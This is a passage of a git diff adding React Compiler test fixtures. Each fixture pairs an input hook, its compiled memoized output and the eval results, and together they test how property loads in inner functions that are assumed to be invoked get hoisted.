+import {createHookWrapper} from 'shared-runtime';
+
+/**
+ * Assume that conditionally returned functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback({
+  obj,
+  shouldMakeCb,
+  setState,
+}: {
+  obj: {value: number};
+  shouldMakeCb: boolean;
+  setState: (newState: number) => void;
+}) {
+  const cb = () => setState(obj.value);
+  if (shouldMakeCb) return cb;
+  else return null;
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, shouldMakeCb: true, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, shouldMakeCb: true, setState},
+    {obj: {value: 2}, shouldMakeCb: true, setState},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { createHookWrapper } from "shared-runtime";
+
+/**
+ * Assume that conditionally returned functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback(t0) {
+  const $ = _c(3);
+  const { obj, shouldMakeCb, setState } = t0;
+  let t1;
+  if ($[0] !== obj.value || $[1] !== setState) {
+    t1 = () => setState(obj.value);
+    $[0] = obj.value;
+    $[1] = setState;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const cb = t1;
+  if (shouldMakeCb) {
+    return cb;
+  } else {
+    return null;
+  }
+}
+
+const setState = (arg: number) => {
+  "use no memo";
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{ obj: { value: 1 }, shouldMakeCb: true, setState }],
+  sequentialRenders: [
+    { obj: { value: 1 }, shouldMakeCb: true, setState },
+    { obj: { value: 2 }, shouldMakeCb: true, setState },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"result":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"result":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.ts
new file mode 100644
index 000000000000..08dde03b0379
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.ts
@@ -0,0 +1,32 @@
+import {createHookWrapper} from 'shared-runtime';
+
+/**
+ * Assume that conditionally returned functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback({
+  obj,
+  shouldMakeCb,
+  setState,
+}: {
+  obj: {value: number};
+  shouldMakeCb: boolean;
+  setState: (newState: number) => void;
+}) {
+  const cb = () => setState(obj.value);
+  if (shouldMakeCb) return cb;
+  else return null;
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, shouldMakeCb: true, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, shouldMakeCb: true, setState},
+    {obj: {value: 2}, shouldMakeCb: true, setState},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.expect.md
new file mode 100644
index 000000000000..2f31be1ffe15
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.expect.md
@@ -0,0 +1,74 @@
+
+## Input
+
+```javascript
+import {useState} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function useMakeCallback({obj}: {obj: {value: number}}) {
+  const [state, setState] = useState(0);
+  const cb = () => {
+    if (obj.value !== state) setState(obj.value);
+  };
+  useIdentity();
+  cb();
+  return [cb];
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useState } from "react";
+import { useIdentity } from "shared-runtime";
+
+function useMakeCallback(t0) {
+  const $ = _c(5);
+  const { obj } = t0;
+  const [state, setState] = useState(0);
+  let t1;
+  if ($[0] !== obj.value || $[1] !== state) {
+    t1 = () => {
+      if (obj.value !== state) {
+        setState(obj.value);
+      }
+    };
+    $[0] = obj.value;
+    $[1] = state;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const cb = t1;
+
+  useIdentity();
+  cb();
+  let t2;
+  if ($[3] !== cb) {
+    t2 = [cb];
+    $[3] = cb;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{ obj: { value: 1 } }],
+  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["[[ function params=0 ]]"]
+["[[ function params=0 ]]"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.ts
new file mode 100644
index 000000000000..c2e82922978a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.ts
@@ -0,0 +1,17 @@
+import {useState} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function useMakeCallback({obj}: {obj: {value: number}}) {
+  const [state, setState] = useState(0);
+  const cb = () => {
+    if (obj.value !== state) setState(obj.value);
+  };
+  useIdentity();
+  cb();
+  return [cb];
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.expect.md
new file mode 100644
index 000000000000..8301912b024c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.expect.md
@@ -0,0 +1,130 @@
+
+## Input
+
+```javascript
+import {createHookWrapper} from 'shared-runtime';
+
+/**
+ * (Given that the returned lambda is assumed to be invoked, see
+ * return-function)
+ *
+ * If lambda A conditionally calls lambda B, optimistically assume that property
+ * loads from lambda B has the same hoistability of ones from lambda A. This
+ * helps optimize components / hooks that create and chain many helper
+ * functions.
+ *
+ * Type systems and code readability encourage developers to colocate length and
+ * null checks values in the same function as where values are used. i.e.
+ * developers are unlikely to write the following code.
+ * ```js
+ * function useFoo(obj, objNotNullAndHasElements) {
+ *   // ...
+ *   const get0th = () => obj.arr[0].value;
+ *   return () => objNotNullAndHasElements ? get0th : undefined;
+ * }
+ * ```
+ *
+ * In Meta code, this assumption helps reduce the number of memo dependency
+ * deopts.
+ */
+function useMakeCallback({
+  obj,
+  cond,
+  setState,
+}: {
+  obj: {value: number};
+  cond: boolean;
+  setState: (newState: number) => void;
+}) {
+  const cb = () => setState(obj.value);
+  // cb's property loads are assumed to be hoistable to the start of this lambda
+  return () => (cond ? cb() : undefined);
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, cond: true, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, cond: true, setState},
+    {obj: {value: 2}, cond: true, setState},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { createHookWrapper } from "shared-runtime";
+
+/**
+ * (Given that the returned lambda is assumed to be invoked, see
+ * return-function)
+ *
+ * If lambda A conditionally calls lambda B, optimistically assume that property
+ * loads from lambda B has the same hoistability of ones from lambda A. This
+ * helps optimize components / hooks that create and chain many helper
+ * functions.
+ *
+ * Type systems and code readability encourage developers to colocate length and
+ * null checks values in the same function as where values are used. i.e.
+ * developers are unlikely to write the following code.
+ * ```js
+ * function useFoo(obj, objNotNullAndHasElements) {
+ *   // ...
+ *   const get0th = () => obj.arr[0].value;
+ *   return () => objNotNullAndHasElements ? get0th : undefined;
+ * }
+ * ```
+ *
+ * In Meta code, this assumption helps reduce the number of memo dependency
+ * deopts.
+ */
+function useMakeCallback(t0) {
+  const $ = _c(6);
+  const { obj, cond, setState } = t0;
+  let t1;
+  if ($[0] !== obj.value || $[1] !== setState) {
+    t1 = () => setState(obj.value);
+    $[0] = obj.value;
+    $[1] = setState;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const cb = t1;
+  let t2;
+  if ($[3] !== cb || $[4] !== cond) {
+    t2 = () => (cond ? cb() : undefined);
+    $[3] = cb;
+    $[4] = cond;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+const setState = (arg: number) => {
+  "use no memo";
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{ obj: { value: 1 }, cond: true, setState }],
+  sequentialRenders: [
+    { obj: { value: 1 }, cond: true, setState },
+    { obj: { value: 2 }, cond: true, setState },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"result":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"result":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.ts
new file mode 100644
index 000000000000..b6283aa6a6b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.ts
@@ -0,0 +1,51 @@
+import {createHookWrapper} from 'shared-runtime';
+
+/**
+ * (Given that the returned lambda is assumed to be invoked, see
+ * return-function)
+ *
+ * If lambda A conditionally calls lambda B, optimistically assume that property
+ * loads from lambda B has the same hoistability of ones from lambda A. This
+ * helps optimize components / hooks that create and chain many helper
+ * functions.
+ *
+ * Type systems and code readability encourage developers to colocate length and
+ * null checks values in the same function as where values are used. i.e.
+ * developers are unlikely to write the following code.
+ * ```js
+ * function useFoo(obj, objNotNullAndHasElements) {
+ *   // ...
+ *   const get0th = () => obj.arr[0].value;
+ *   return () => objNotNullAndHasElements ? get0th : undefined;
+ * }
+ * ```
+ *
+ * In Meta code, this assumption helps reduce the number of memo dependency
+ * deopts.
+ */
+function useMakeCallback({
+  obj,
+  cond,
+  setState,
+}: {
+  obj: {value: number};
+  cond: boolean;
+  setState: (newState: number) => void;
+}) {
+  const cb = () => setState(obj.value);
+  // cb's property loads are assumed to be hoistable to the start of this lambda
+  return () => (cond ? cb() : undefined);
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, cond: true, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, cond: true, setState},
+    {obj: {value: 2}, cond: true, setState},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.expect.md
new file mode 100644
index 000000000000..ab8326a2286d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+import {createHookWrapper, useIdentity} from 'shared-runtime';
+
+/**
+ * Assume that functions passed hook arguments are invoked and that their
+ * property loads are hoistable.
+ */
+function useMakeCallback({
+  obj,
+  setState,
+}: {
+  obj: {value: number};
+  setState: (newState: number) => void;
+}) {
+  const cb = useIdentity(() => setState(obj.value));
+  return cb;
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, setState},
+    {obj: {value: 2}, setState},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { createHookWrapper, useIdentity } from "shared-runtime";
+
+/**
+ * Assume that functions passed hook arguments are invoked and that their
+ * property loads are hoistable.
+ */
+function useMakeCallback(t0) {
+  const $ = _c(3);
+  const { obj, setState } = t0;
+  let t1;
+  if ($[0] !== obj.value || $[1] !== setState) {
+    t1 = () => setState(obj.value);
+    $[0] = obj.value;
+    $[1] = setState;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const cb = useIdentity(t1);
+  return cb;
+}
+
+const setState = (arg: number) => {
+  "use no memo";
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{ obj: { value: 1 }, setState }],
+  sequentialRenders: [
+    { obj: { value: 1 }, setState },
+    { obj: { value: 2 }, setState },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"result":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"result":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.ts
new file mode 100644
index 000000000000..a1ab6e18c5a5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.ts
@@ -0,0 +1,29 @@
+import {createHookWrapper, useIdentity} from 'shared-runtime';
+
+/**
+ * Assume that functions passed hook arguments are invoked and that their
+ * property loads are hoistable.
+ */
+function useMakeCallback({
+  obj,
+  setState,
+}: {
+  obj: {value: number};
+  setState: (newState: number) => void;
+}) {
+  const cb = useIdentity(() => setState(obj.value));
+  return cb;
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, setState},
+    {obj: {value: 2}, setState},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.expect.md
new file mode 100644
index 000000000000..688901a4e219
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+import {createHookWrapper} from 'shared-runtime';
+
+function useFoo({arr1}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const x = arr1.map(cb1);
+  return [x, cb1];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useFoo),
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { createHookWrapper } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(8);
+  const { arr1 } = t0;
+  let t1;
+  if ($[0] !== arr1[0]) {
+    t1 = (e) => arr1[0].value + e.value;
+    $[0] = arr1[0];
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb1 = t1;
+  let t2;
+  if ($[2] !== arr1 || $[3] !== cb1) {
+    t2 = arr1.map(cb1);
+    $[2] = arr1;
+    $[3] = cb1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const x = t2;
+  let t3;
+  if ($[5] !== cb1 || $[6] !== x) {
+    t3 = [x, cb1];
+    $[5] = cb1;
+    $[6] = x;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useFoo),
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"result":[[],"[[ function params=1 ]]"],"shouldInvokeFns":true}</div>
+<div>{"result":[[],"[[ function params=1 ]]"],"shouldInvokeFns":true}</div>
+<div>{"result":[[2,3],"[[ function params=1 ]]"],"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.ts
new file mode 100644
index 000000000000..c08701022a3b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.ts
@@ -0,0 +1,17 @@
+import {createHookWrapper} from 'shared-runtime';
+
+function useFoo({arr1}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const x = arr1.map(cb1);
+  return [x, cb1];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useFoo),
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.expect.md
new file mode 100644
index 000000000000..76228fc24911
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @flow
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Assume that functions captured directly as jsx attributes are invoked and
+ * that their property loads are hoistable.
+ */
+function useMakeCallback({
+  obj,
+  setState,
+}: {
+  obj: {value: number};
+  setState: (newState: number) => void;
+}) {
+  return <Stringify cb={() => setState(obj.value)} shouldInvokeFns={true} />;
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, setState},
+    {obj: {value: 2}, setState},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function useMakeCallback(t0) {
+  const $ = _c(3);
+  const { obj, setState } = t0;
+  let t1;
+  if ($[0] !== obj.value || $[1] !== setState) {
+    t1 = <Stringify cb={() => setState(obj.value)} shouldInvokeFns={true} />;
+    $[0] = obj.value;
+    $[1] = setState;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+const setState = (arg: number) => {
+  "use no memo";
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{ obj: { value: 1 }, setState }],
+  sequentialRenders: [
+    { obj: { value: 1 }, setState },
+    { obj: { value: 2 }, setState },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.tsx
new file mode 100644
index 000000000000..316a0a03fb68
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.tsx
@@ -0,0 +1,29 @@
+// @flow
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Assume that functions captured directly as jsx attributes are invoked and
+ * that their property loads are hoistable.
+ */
+function useMakeCallback({
+  obj,
+  setState,
+}: {
+  obj: {value: number};
+  setState: (newState: number) => void;
+}) {
+  return <Stringify cb={() => setState(obj.value)} shouldInvokeFns={true} />;
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, setState},
+    {obj: {value: 2}, setState},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.expect.md
new file mode 100644
index 000000000000..31e317d07e99
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.expect.md
@@ -0,0 +1,78 @@
+
+## Input
+
+```javascript
+import {createHookWrapper} from 'shared-runtime';
+
+/**
+ * Assume that directly returned functions are invoked and that their property
+ * loads are hoistable.
+ */
+function useMakeCallback({
+  obj,
+  setState,
+}: {
+  obj: {value: number};
+  setState: (newState: number) => void;
+}) {
+  return () => setState(obj.value);
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, setState},
+    {obj: {value: 2}, setState},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { createHookWrapper } from "shared-runtime";
+
+/**
+ * Assume that directly returned functions are invoked and that their property
+ * loads are hoistable.
+ */
+function useMakeCallback(t0) {
+  const $ = _c(3);
+  const { obj, setState } = t0;
+  let t1;
+  if ($[0] !== obj.value || $[1] !== setState) {
+    t1 = () => setState(obj.value);
+    $[0] = obj.value;
+    $[1] = setState;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+const setState = (arg: number) => {
+  "use no memo";
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{ obj: { value: 1 }, setState }],
+  sequentialRenders: [
+    { obj: { value: 1 }, setState },
+    { obj: { value: 2 }, setState },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"result":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"result":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.ts
new file mode 100644
index 000000000000..f0e0ac77f01a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.ts
@@ -0,0 +1,28 @@
+import {createHookWrapper} from 'shared-runtime';
+
+/**
+ * Assume that directly returned functions are invoked and that their property
+ * loads are hoistable.
+ */
+function useMakeCallback({
+  obj,
+  setState,
+}: {
+  obj: {value: number};
+  setState: (newState: number) => void;
+}) {
+  return () => setState(obj.value);
+}
+
+const setState = (arg: number) => {
+  'use no memo';
+  return arg;
+};
+export const FIXTURE_ENTRYPOINT = {
+  fn: createHookWrapper(useMakeCallback),
+  params: [{obj: {value: 1}, setState}],
+  sequentialRenders: [
+    {obj: {value: 1}, setState},
+    {obj: {value: 2}, setState},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.expect.md
new file mode 100644
index 000000000000..677e9acaeaee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies:false
+import {useState, useMemo} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * Assume that conditionally called functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback({
+  obj,
+  shouldSynchronizeState,
+}: {
+  obj: {value: number};
+  shouldSynchronizeState: boolean;
+}) {
+  const [state, setState] = useState(0);
+  const cb = useMemo(() => {
+    return () => {
+      if (obj.value !== 0) setState(obj.value);
+    };
+  }, [obj.value, shouldSynchronizeState]);
+  useIdentity(null);
+  return cb;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
+import { useState, useMemo } from "react";
+import { useIdentity } from "shared-runtime";
+
+/**
+ * Assume that conditionally called functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback(t0) {
+  const $ = _c(2);
+  const { obj, shouldSynchronizeState } = t0;
+  const [, setState] = useState(0);
+  let t1;
+  if ($[0] !== obj.value) {
+    t1 = () => {
+      if (obj.value !== 0) {
+        setState(obj.value);
+      }
+    };
+    $[0] = obj.value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb = t1;
+
+  useIdentity(null);
+  return cb;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{ obj: { value: 1 } }],
+  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
+"[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.ts
new file mode 100644
index 000000000000..6d0546289c28
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.ts
@@ -0,0 +1,29 @@
+// @validateExhaustiveMemoizationDependencies:false
+import {useState, useMemo} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * Assume that conditionally called functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback({
+  obj,
+  shouldSynchronizeState,
+}: {
+  obj: {value: number};
+  shouldSynchronizeState: boolean;
+}) {
+  const [state, setState] = useState(0);
+  const cb = useMemo(() => {
+    return () => {
+      if (obj.value !== 0) setState(obj.value);
+    };
+  }, [obj.value, shouldSynchronizeState]);
+  useIdentity(null);
+  return cb;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.expect.md
new file mode 100644
index 000000000000..3e729afe5298
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
